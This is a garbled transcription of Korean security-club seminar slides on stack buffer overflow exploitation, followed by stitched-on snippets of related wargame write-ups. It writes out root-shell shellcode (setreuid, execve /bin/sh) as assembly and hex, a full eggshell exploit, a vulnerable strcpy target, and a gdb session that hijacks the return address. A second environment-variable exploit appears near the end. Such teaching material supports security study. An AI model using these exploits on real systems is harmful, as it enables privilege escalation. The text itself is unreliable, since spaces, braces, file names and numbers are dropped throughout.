윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

Size: px
Start display at page:

Download "윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG"

Transcription

1 - Buffer Overflow - 윤석언 SlaxCore@gmailcom 제12회세미나 수원대학교보안동아리 FLAG

2 < BOF(Buffer OverFlow) > - Stack 기반 - Heap 기반 # 기초 : Stack 기반의 BOF 스택 : 기본적으로 2개의 operation(push, pop) 과 1 개의변수(top) 가필요 - FUll 스택 : 마지막의데이터를가리키는방식 - Empty 스택 : 스택의꼭대기를( 다음의데이터가들어올곳을가리키는) 스택 - Ascending 스택 : 스택이낮은메모리에서높은메모리로올라가는형태의스택 - Dscending 스택 : 높은메모리에서낮은메모리형태로내려가는스택 * Intel 은 Full Dscending Stack 형태이다 - push, pop이라는명령어제공 - esp는스택의맨꼭데기를가리키는레지스터제공 - ebp는스택프레임의시작점을가리키는레지스터제공 - stack 의용도 임시데이터저장 지역변수할당 함수호출관련정보전달 - 실행파일도포맷을갖는다 윈도우즈 : PE파일포맷 리눅스 : ELF 파일포맷 기본적으로헤더 섹션테이블 섹션들 로형성이되는데실행파일이실행이되면스택영역이생기게된다 int b; int main() int a; ->b는전역변수이기때문에섹션의 data 영역에있을것이고, a 는지역변수이기때문에스택영역에있을것이다 (b의주소를따라가다보면 data 영역, a의주소를따라가다보면 stack 영역) - 스택의사용(redhat 72) # vi stackc int func(int a, int b, int c, int d) char buff[100]; int main() func(1,2,3,4); return 0; - gdb 사용해서공부해라 # gdb -q stack disas main - 2 -

3 disas func IASoftwareDevelopersmanualpdf IASoftwareDevelopersmanual-instructionpdf theartofassemblyalnguagepdf push %ebp : ebp 에담겨져있는값 - push 의목적 백업( 상수값을 push 하는것은백업이아니다 근처에 ebp 가변경되는명령이있으면 함수에아규먼트전달, 지역변수할당 mov a, b : 윈도우에서는 b 의값을 a 로저장리눅스에서는 a 의값을 b 로저장 Unix 계열 (ATNT 방식 ) 에서는저장되는레지스터가항상뒤에위치한다 윈도우즈는반대 - 함수콜링컨벤션 ex) 함수호출에관한규약 - 아규먼트전달방법 * 레지스터를이용 * 스택을이용 아규먼트전달순서 - 좌측에서우측으로또는우측에서좌측으로전달하라 리턴값전달 - eax 레지스터사용 stack clearing 을누가하는가? - caller function( 호출하는함수) - callee function( 호출당하는함수) 생략시 stdcall 방식이사용된다 stdcall 스택을이용, 우측에서좌측으로전달, eax, caller 가한다 cdecl 스택을이용, 우측에서좌측으로전달, eax, callee가 stack clearing 수행 fastcall 레지스터를이용, 전달순서는무관, eax, stack clearing 불필요 func(1,2,3,4) stdcall push 4 push 3 push 2 push 1 방식으로하면 call func 이렇게된다 - call 과 jmp의차이 call은기존의 eip값을백업을하고 jmp 는백업을하지않는다 - 3 -

4 push mov %ebp %esp,%ebp -> 함수프롤로그 다 모든함수는자신만의스택프레임을갖는데스택에저장된값들은절대주소번지를이용하여읽을수없 스택의시작점은프로세스마다바뀔수있다 -> offset 값을이용 기준점이있어야한다 esp 또는 ebp 를기준으로읽을수있다 esp 는계속바뀔수있기때문에 ebp 를기준으로한다 ebp 는변경이안된다 esp 를기준으로하면컴파일러가변경되는것을전부추적해야하기때문에어려 움이따르지만요새는지원을다한다 ebp 를기준으로하면위의함수프롤로그과정이항상나온다 sub $0x78, %esp : 지역변수를할당, 스택의크기를늘려준다 함수내에 char buf[100] 있으면 buf라는배열의크기를먼저잡아주고 esp 가배열의시작점이된다 메인함수내의 때문이다 sub $0x8, %esp는지역변수가없는데도스택의크기를늘려주는이유는컴파일러의특성 2 취약한프로그램분석 Segmentation fault : 접근할수없는메모리영역을침범하였을때에러메시지 - break point 로디버깅하기 프로그램끝날때 ret 부분을 br 을건다 gdb) b *main+30 // 브포 gdb) run ` perl -e 'print "A"x200' ` 브포에서멈춤 gdb)info registers // 레지스터의값들을볼수있다 gdb)info registers esp // 특정레지스터보기 gdb) x/10wx $esp // 스택의내용을보기(10 번반복, 워드단위로 16진수로 esp 의내용을찍어라) 또는 x/10wx <esp 의시작주소> gdb) info register ebp gdb) b *main+29 r `perl -e 'print "A"x200'` info rgister ebp gdb) x/wx $ebp+4-4 -

5 // return add 가바뀌어있다 gdb) x/25ex $ebp-100 // 전부 로덮여있다 strcpy() 는 NULL 을만날때까지무조건복사하기때문에 바운더리체크를하지않고스택의어딘가에 복사를하는 bof 의취약점은스택의내용을카피시작지점부터마음대로스택의내용을조작할수있다 ret 주소값을변조하면프로그램의흐름을제어할수있다 윈도우의경우 SEH 핸들러를덮어쓰는방법을많이쓴다 - ret 어드레스를조작 시작지점에서 * ret 바로위까지의거리가얼마인지먼저알아야한다 대충때려맞춰보는방법 * disas 을사용 - 첫번째아규먼트의주소는항상 ebp+8 이다 b *main+29 // leave 에브포 run ` perl -e 'print "A"x124 "BBBB"' ` x/wx $ebp 로변경되어있다 -> 위의예서 120+4(sfp) 가 ret 시작지점이다 - Entry Point 를먼저찾아야한다 1 return address overwrite 어셈블리어로쉘코드를만든후기계어로변환 # 유닉스쉘코드만들기 - 시스템콜만을이용하여만들어야한다 시스템콜 : OS 에게일을시키기위한일종의인터페이스( 함수의모양이지만함수는아니다) execve : exec 에관련된시스템콜 ( # man 3 exec 참조) l v, p e // 반대개념끼리는같이쓰이지않는다 list vector path enviroment exec ( 실행시킬파일명, 아규먼트, 환경변수) vi sh01c #include <unistdh> void main() char *shell[2]; shell[0]="/bin/sh"; shell[1]=null execve(shell[0], shell, NULL); < 참고># echo -n "/bin/sh" od -h -> /bin/sh 를아스키값으로보여준다 # vi sh02c void main() - 5 -

6 - 리눅스에서 system call 호출방법 인터럽트활용(128 번, 0x80) eax : 시스템콜번호 -> /usr/include/asm/unistdh ebx : 첫번째 argument ecx : 두번째 argument edx : 세번째 argument int $0x asm volatile ( "push $0x f // /sh\0 "push $0x6e69622f // /bin "mov %esp, %ebx // /bin 의주소값을얻어냄 (esp 는 /bin 을가리킴)- 아래참조 "push $0x0 // NULL "push %ebx // 아래 system call호출방법참조 "mov %esp, %ecx // " "mov $0x0, %edx // " "mov $0xb, %eax // execve의시스템콜번호 11번을 eax로 "int $0x80 ); => 그런데여기까지는문제가있다 0 이라는문자들때문이다 기계어코드에는많은 NULL 문자 (0) 들이나타난다 기계어코드는 NULL 이후로는무시해버리기때문에 NULL 문자들을제거하는작업들을해야한다 예) mov $0x0, %edx 같은지점같은경우 * 특정레지스터에 0을넣는방법 위와같이 mov를이용 xor %eax,%eax -> 가장많이사용( 사이즈를줄이기위해서) # vi sh03c void main() asm volatile ( // asm (" 문자열 ); C언어에서 asm코드작성방법 "xor %eax,%eax "push %eax "push $0x68732f2f // //sh "push $0x6e69622f // /bin "mov %esp, %ebx "push %eax "push %ebx "mov %esp, %ecx "mov %eax, %edx "mov $0xb, %al "int $0x80 ); asm volatile ( 문자열 ); => asm (" 문자열 ); C언어에서 asm코드작성방법 volatile => 최적화하지말고있는그대로실행해라는컴파일러에게지시하는지시자 - 기계어코드로변환하기 (objdump ) gdb) x/x main 로볼수도있다 # objdump -d sh03 egrep '<main>' -A 20 > shtxt 로저장된기계어코드를이용 vi 에서먼저모든탭삭제후(%s/\t//g), 23 바이트이후로잘라내고(%!cut -b 1-23), : 를기준으로 두번째필드만남기고(%!cut -d ':' -f 2), 'J' 로한줄로만든다음, 한칸씩띄우고(%!tr -s ' '), 공백에 \x를 추가(%s/ /\\x/g) 하고, 맨앞에 \x' 추가, 맨뒤 \x' 삭제 편집은자신이편한대로하면된다

7 char shell[]=" 위에서작성된기계어코드 ; int main() void(*sh)(void) = (void(*)())shell; (*sh)(); -> 컴파일후실행하면 shell 획득!! char shell[]=" 위에서작성된기계어코드 ; int main() int *ret; ret = (int*)&ret+2; *ret = shell; < 참고> metasploit으로쉘코드만들기 -> null 문자가있다 아래와같이한다 < 변환된기계어로쉘코드를만들면된다> < 알아둘것 > 리눅스는스택의시작이고정되어있다 (0xc ) 윈도우즈는매번변한다 - 7 -

8 - root 권한요청코드추가 위의쉘코드실행파일을 tmp로복사후 setuid 를준후실행을시켜서확인을한번더해본다 id를쳐보자 root 권한인가??? 쉘코드전에소유자의권한을요청하는코드가있어야한다 아래와같이한줄추가하고오른쪽과같이하면프로그램소유자의권한을따오게된다 - 기계어코드로만들기 먼저 /usr/incluse/asm/unistdh 에서 setreuid의시스템콜번호를알아보면 70 번이다 위에서만든 sh03c에서 setreuid 가하는코드를추가해줘야한다 시스템콜을할때첫번째인자는 ebx 에, 두번째인자는 ecx 에넣어줘야한다는걸기억하자 setreuid(0,0) 이므로 mov $0x0,%ebx mov $0x0,%ecx 일까?? 틀린것은아니지만위에서알았던것처럼 NULL(00) 문자를제거해줘야한다 앞서알아본것처럼 xor을이용하여 00 을제거해보자 xor %eax,%eax mov %eax,%ebx mov %eax,%ecx mov #0x46,%al int $0x80 이와같은코드를 좀더완벽한코드를위해서공격자가 sh03c 의앞부분에붙여넣어주면된다 overflow공격을수행하고나서프로그램의정상적인종료를위해서 exit(0) 이필요할수있다 깔끔한마무리를위해서마지막에 exit(0) 을추가해주는것이좋다 xor %eax,%eax mov %eax,%ebx mov $0x1,al int $0x80 코드의아랫부분에왼쪽의코드를붙여넣어주자 void main() asm volatile ( "xor %eax,%eax "mov %eax,%ebx - 8 -

9 "mov %eax,%ecx "mov $0x46,%al "int $0x80 "xor %eax,%eax "push %eax "push $0x68732f2f "push $0x6e69622f "mov %esp,%ebx "push %eax "push %ebx "mov %esp,%ecx "mov %eax,%edx "mov $0xb,%al "int $0x80 "xor %eax,%eax "mov %eax,%ebx "mov $0x1,%al "int $0x80 ); <setretud(0,0), exit(0) 이추가된어셈코드> 이제기계어코드로변환하여코드를수정하여보자 역시 objdump 를이용하여저장된기계어코드를편집기로적절히이용하여만들면된다 # objdump -d sh03 egrep '<main>' -A 25 코드를실행시켜보자 # BUffer OverFlow 공격 - 오버플로우의핵심은스택/ 힙의데이터를많이입력했을때메모리의영역의내용을조작할수있다는게핵 심!! return add 를덮어쓰는건가장쉽기때문에처음에배우는것이다 윈도우즈에경우는 SH 를덮어쓰는방법을선호한다 - 사용자가입력한데이터를스택의영역에넣는데바운더리체크에실패했을때 ret add를덮어씌워서하는 것이 - 방법 stack 오버플러우의핵심 - 9 -

10 1 Direct Inject - 버퍼에 NOP코드를입력하여추측 2 eggshell - 쉘코드를환경변수로등록한다 - 등록한환경변수에다쉘코드를넣은다음취약한프로그램에환경변수의어드레스를 return address에 넣어줌으로써쉘코드가실행하게할수있다 - 쉘코드가들어갈만큼버퍼의크기가넉넉하지못할때유용하게사용 - 환경변수는스택의아랫부분에존재한다 - 환경변수역시스택보다높은메모리에위치한다 - 처음부터끝까지전부 ret 어드레스이다 # 환경변수에쉘코드를넣는방법과환경변수가위치한 address 를알아야한다 아래코드를보자 [/home/slaxcore/bof_lab/eggshell]$cat eggshellc #include <stdlibh> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char *shellcode="\x31\xc0\x89\xc3\x89\xc1\xb0\x46\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73" "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53" "\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" "\x31\xc0\x89\xc3\xb0\x01\xcd\x80"; // exit(0) // setreuid(0,0) unsigned long get_esp(void) asm volatile ("movl %esp,%eax"); // esp의 address를 return void main(int argc, char *argv[]) char *ptr, *egg; long *addr_ptr, addr; int offset=default_offset, bsize=default_buffer_size; int eggsize=default_egg_size; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(egg = malloc(eggsize))) printf("can't allocate memory\n"); // NOP와쉘코드를넣을버퍼생성 exit(0); addr = get_esp() - offset; // stack pointer를얻어옴 printf("egg's address : 0x%x\n", addr); // EGG의 esp를얻어옴 addr_ptr = (long *) ptr;

11 for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; // NOP 으로먼저채우고 for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; // 남은공간을쉘코드로채움 egg[eggsize - 1] = '\0'; memcpy(egg,"egg=",4); putenv(egg); // egg라는환경변수로등록 system("/bin/bash"); // 환경변수가등록된쉘실행 위코드를실행시켜면 egg배열에들어있는데이터를 putenv() 함수를통해 EGG 환경변수로등록한다 EGG 라는환경변수가생성이됨으로서스택세그먼트의높은위치에있는환경변수의크기가늘어나게 되고 main함수의 base pointer 는그만큼낮은위치에자리잡게된다 확인을위하여간단한취약점을가진공격대상프로그램이필요한데이프로그램을 gdb를사용하여 eggshellc를실행하기전의 ebp 의위치와, 실행한후의 ebp 위치를비교해봄으로써확인해볼수있다 [/home/slaxcore/bof_lab/eggshell]$cat vulc int main(int argc, char *argv[]) char buf[256]; strcpy(buf,argv[1]); 왼쪽은바운더리체크를하지않는 strcpy() 함수를 갖는간단한취약점을가진대상프로그램이다 ebp 의위치를비교해보면아래와같다 - eggshell을실행하기전 ebp : 0xbffffab8 - eggshell을실행한후 ebp : 0xbffff2a8 2064byte 의차이가있다 EGG환경변수의크기가 2064byte 라는의미이다 따라서 main함수에서사용되는스택역시 2064 byte 아래에서시작될것이다 eggshell 을실행시켜서환경변수가잘등록되었는지 확인해보면잘등록이되어있는것을볼수있다 이 상한문자들은 NOP 라고보면되겠다 이는 return 될때 EIP를 EGG가위치하는주소를가리 키게하면가득한 NOP에의해 Instruction Pointer는계 속흘러가다가쉘코드가시작되는지점에서쉘이실행이

12 될것이다 환경변수가잘등록된걸확인했으니이제취약점을갖 고있는프로그램을이용해공격을해보자 참! 공격하기전에취약점프로그램을분석해보자 return address의위치를알아야 return address 를조작하여공격에성공할수있기때문이다 gdb를이용하여 vulc의버퍼의크기를확인하고 [/home/slaxcore/bof_lab/eggshell]$gdb -q vul (gdb) disas main Dump of assembler code for function main: 0x <main>: push %ebp 0x <main+1>: mov %esp,%ebp 0x <main+3>: sub $0x108,%esp // 스택의크기가 0x108(264) 만큼확장 0x <main+9>: sub $0x8,%esp // gcc의특성상 0x8 만큼더확장( 중요하지않음) 0x804846c <main+12>: mov 0xc(%ebp),%eax 0x804846f <main+15>: add $0x4,%eax 0x <main+18>: pushl (%eax) 0x <main+20>: lea 0xfffffef8(%ebp),%eax 0x804847a <main+26>: push %eax 0x804847b <main+27>: call 0x804834c <strcpy> 0x <main+32>: add $0x10,%esp 0x <main+35>: leave 0x <main+36>: ret 0x <main+37>: lea 0x0(%esi),%esi 0x <main+40>: nop 0x <main+41>: nop 0x804848a <main+42>: nop 0x804848b <main+43>: nop 0x804848c <main+44>: nop 0x804848d <main+45>: nop 0x804848e <main+46>: nop 0x804848f <main+47>: nop End of assembler dump (gdb) return addree 의위치를파악해보자 vulc의스택의크기가 0x108(264) 만큼확장되었다 이는소스코드의 buf[256] 크기에더미값 8byte가합 쳐져서 0x108 만큼확장된것이다 바로아래 sub $0x8,%esp 는 gcc 버전상의특징으로크게신경쓰지않 아도될것이다 이제 vulc의 return address 의위치를계산할수있겠다 확장된스택의크기 (264byte) + sfp(4byte) 까지덮어쓰고그이후 4byte 가 return address 의위치 일것이라예상할수있다 실제로테스트해보면 vulc 을 267byte까지 A 문자를버퍼로복사했을때정상적으로실행이되지만 268byte를복사하면 segmentation fault 메시지가나는것을확인할수있다

13 268byte에서 Segmentation fault 가일어나므로 268byte 까지가버퍼 + dummy + sfp 일것이다 왜 267byte까지가아니라 268byte 까지일까?? 그이유는 AAAA 라는문자열끝에 NULL 문자때문이다 268byte 까지(buff+sfp) 는 AAAAA 라는문자열이채워지고마지막에 NULL(\0) 문자가 return address를건 드렸기때문이다 자 이제프로그램의취약점을이용하여공격을해보자 공격에성공하여 root 쉘이떨어진걸확인할수있다 공격은쉘스크립트언어인 perl 을이용하였다 eggshell 코드를 perl 언어로만들면공격이더쉬워질수도있을것이다 그리고 little endian방식으로 return address 를덮어썼다는걸유의하자 좀더자세한이해를위해서 gdb 를이용하여디버그를해보자 확인할내용을정리해보면아래와같다 - eggshell을실행한후 overflow가일어나기전의 ebp의위치와 EGG환경변수의등록여부 - eggshell이출력한 address에무엇이들어있는지확인 - 쉘코드가들어있는위치파악 - overflow가발생하기전의 ebp+4(ret) 가가르키고있는주소와 overflow가발생한후의 ebp+4 에서가르키고있는주소(return address 가제대로바뀌었는지) 먼저 eggshell 을실행한후 overflow 가일어나기전의 ebp 의위치와 EGG 환경변수의등록여부를살펴보자 [/home/slaxcore/bof_lab/eggshell]$/eggshell EGG's address : 0xbffffa68 [slaxcore@localhost Eggshell]$ gdb -q vul (gdb) disas main Dump of assembler code for function main: 0x <main>: push %ebp 0x <main+1>: mov %esp,%ebp 0x <main+3>: sub $0x108,%esp 0x <main+9>: sub $0x8,%esp 0x804846c <main+12>: mov 0xc(%ebp),%eax 0x804846f <main+15>: add $0x4,%eax 0x <main+18>: pushl (%eax) 0x <main+20>: lea 0xfffffef8(%ebp),%eax 0x804847a <main+26>: push %eax 0x804847b <main+27>: call 0x804834c <strcpy> 0x <main+32>: add $0x10,%esp 0x <main+35>: leave 0x <main+36>: ret 0x <main+37>: lea 0x0(%esi),%esi 0x <main+40>: nop 0x <main+41>: nop 0x804848a <main+42>: nop 0x804848b <main+43>: nop 0x804848c <main+44>: nop 0x804848d <main+45>: nop

14 0x804848e <main+46>: nop 0x804848f <main+47>: nop End of assembler dump (gdb) br *main+3 // 함수프롤로그가끝난후에 break point 를건다 Breakpoint 1 at 0x (gdb) br *main+32 // strcpy함수를호출한후 overflow가발생한후에 break point 를건다 Breakpoint 2 at 0x (gdb) r `perl -e 'print "A"x268,"\x68\xfa\xff\xbf"'`//overflow 공격을시도한다 Starting program: /home/slaxcore/bof_lab/eggshell/vul `perl -e 'print "A"x268,"\x68\xfa\xff\xbf"'` Breakpoint 1, 0x in main () // 프롤로그가끝난직후에정지한다 (gdb) info registers ebp // ebp 의내용을본다 ebp 0xbffff198 0xbffff198 (gdb) 위의상황을그림으로그려보면 eggshell이출력한 EGG의주소는 0xbffffa68 이고, 그보다낮은메모리영역 에 ebp 의주소(0xbffff198) 에위치하고있다 이것은위에서 10page에서확인했다시피확인을해보면 ebp의위치는 EGG 가정상적으로환경변수로등록이되었다면그크기만큼낮은메모리위치에 있는걸확인할수있다 계속진행하여이제 overflow가발생하기전과발생한후의 return address 의값을비교하여보자 return address값은 ebp보다 4byte 위에있을것이다 따라서 ebp+4 의값을확인해보면아래와같다 overflow가발생하기전의 overflow가발생한후의 return address : 0x return address : 0xbffffa68 0xbffffa68은처음에 eggshell 이출력한주소와일치하는값이다 따라서의도대로 있다 return address를정확하게덮어쓴것을확인할수 좀더자세한메모리의상황을살펴보자 먼저 ebp와 ebp+4(return) 의값을 overflow가발생하기전과후를비교해보면의발생전의 ebp에는 0xbffff1d8 이, ebp+4에는 0x 이들어있지만 overflow가발생한후의 ebp에는 0x 이, ebp+4에는 0xbffffa68 이들어있다 0x 은더미값으로채운 AAAA 문자열이고, 0xbffffa68은 조작한 return address 이다 아래그림을보면알것이다 return address 를따라가보자 먼저 overflow가발생하기전의 return address(0x ) 를따라가보면 libc 함수영역으로써함수명

15 을보아도 main 함수가실행되는것이라예상할수있다 overflow가발생한후의 return address(0xbffffa68) 를따라가보면 0x 이가득하다 NOP이 위치하고있음을알수있다 NOP 가계속흘러가다쉘코드를실행시키는부분을알수있을것이다 0xbffffa68에서부터워드단위로 500 개를찍어보자 NOP이계속흘러흘러가다가쉘코드가시작되는 위치를발견할수있다 (gdb) x/500wx 0xbffffa68 0xbffffa68: 0x x x x xbffffa78: 0x x x x xbffffa88: 0x x x x xbffffa98: 0x x x x xbffffe48: 0x x89c xb0c189c3 0x3180cd46 0xbffffe58: 0x2f6850c0 0x f 0x6e69622f 0x5350e389 확인결과쉘코드가시작되는주소는 0xbffff34d 이다 0xbffffa68보다낮은주소값들을보아도 NOP 이상당히많은걸볼수있을것이다 이유는정확하지않은 return 값이라도환경변수영역에만들어오면자연스레쉘코드가실행될수있게하기위해서다 여러가지확인을해본결과 main함수가실행을마치고 return 될때 EIP는 EGG가있는위치를가리키게 될것이고쉘코드가실행이되어 root 쉘을획득할수있게되는것을알수있다

16 3 NOP 없이 ret 어드레스를추측할수있는방법

17 vi a_1c #include <stdioh> #include <unistdh> int main(int argc, char *argv[], char *envp[]) char buff[100]; printf("%s\n",envp[0]); printf("%s\n",envp[1]); printf("my pid is %d\n",getpid()); sleep( ); vi ac #include<stdio,h> #include<stdlibh> #include<unistdh> int main(void) char *argv[] = "/a_1",null; char *env[] = "WE=XSTONE","BUG=STUDY",NULL; execve(argv[0],argv,env); return 0; ac를컴파일하고 gdb 를실행시킨다 (gdb)attach <ac를컴파일하여실행하여나온 -- 나온주소에서정지가된다 pid> (gdb)x/1000wx $esp : esp가가르키는지점으로부터 1000 개워드만큼찍어낸다 스택의마지막인아래부분에서딱보면아스키문자들같다 x/10s 0 xbfffffec : 스트링으로찍어보면 -- 위소스코드에서보았던환경변수와 argv[0] 의값이보인다 -- 조금더위를찍어보면역시소스코드의환경변수가등록되어있는것을볼수있다 -- 스택의모습을보면아래와같다

18 환경변수 [0] -> WE=XSTONE 환경변수 [1] -> BUG=STUDY\ argv[0] -> /a_1\ > 0xc 이것으로보아 nop 없이처음만나게되는환경변수의위치를알수있다 0xc strleng(argv[0]) - 4byte( ) - strlength( 환경변수 ) - 2byte( 널문자 ) # 버퍼시작부터 ret add 까지 offset 을알아내는방법 1 디스어셈블을통해서 - 취약점이존재하는 vul 프로그램을분석하여 gdb -q vul (gdb) disas main strcpy 가무엇을무엇으로복사하는지를봐라 strcpy는아규먼트가 2개이기때문에위어서 push 두개만찾으면된다 - 위에서분석한것을토대로만든익스플로잇 ( 연구가더필요함) vi nop_pubc #include <stdioh> #include <stdlibh> #include <unistdh> #define BUFSIZE 100 #define szsfp 4 #define szret 4 char shell[]=" 기계어코드"; int main(void) char buf[bufsize + szsfp + szret + 1]; char *argv[] = "/vul", buf, NULL; char *env[] = "HOME=BLA", shell, NULL; unsigned long ret = 0xc sizeof(void *) - strlen(argv[0]) - strlen(shell) - 0x02; memset(buf, 0x41, sizeof(buf)+4); /* buf가포인트하는메모리를 NULL에관계없이무조건 만큼의공간에 A 문자를채움 buf의주소가리턴되어옴 */ memcpy(buf+bufsize+4, (char *)&ret, 4); /* ( 복사대상주소, 소스메모리위치, 복사소스의바이트단위크기 ) buf[bufsize+8] = 0x00; execve(argv[0], argv, env); return 0;

19 stack sfp ret \

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u HackerSchool WarGame 풀이 Written by StolenByte http://stolenbyte.egloos.com - 1 - Level 1. Trivial [level1@ftz level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. [level1@ftz level1]$ find / -user level2 2>/dev/null

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

Microsoft Word - readme.doc

Microsoft Word - readme.doc ========================================================= 제 1 회광주과기원정보통신공학과 SW 경진대회 (Hacking 경진대회 ) 대회시작 : 2002 년 8 월 8 일 ( 목 ) 오후 9:00 ( 한국시간, GMT+9:00) 대회종료 : 2002 년 8 월 10 일 ( 토 ) 오후 9:00 ( 한국시간, GMT+9:00)

More information

History

History [Document Information] Title : History Of Buffer Over Flow VOL. 1 Date : 2007. 3. 28 Author : hardsoju Contact : E-Mail(hardsoju@hanmail.net) 1 [Index] 1. 개요 2. 환경변수의이해 2.1 eggshell 을이용한 root shell 획득

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

BOF Foundation.doc

BOF Foundation.doc 해커지망자들이알아야할 Buffer Overflow Attack 의기초 What every applicant for the hacker should know about the foundation of buffer overflow attacks By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com 2005 년 9월 5일

More information

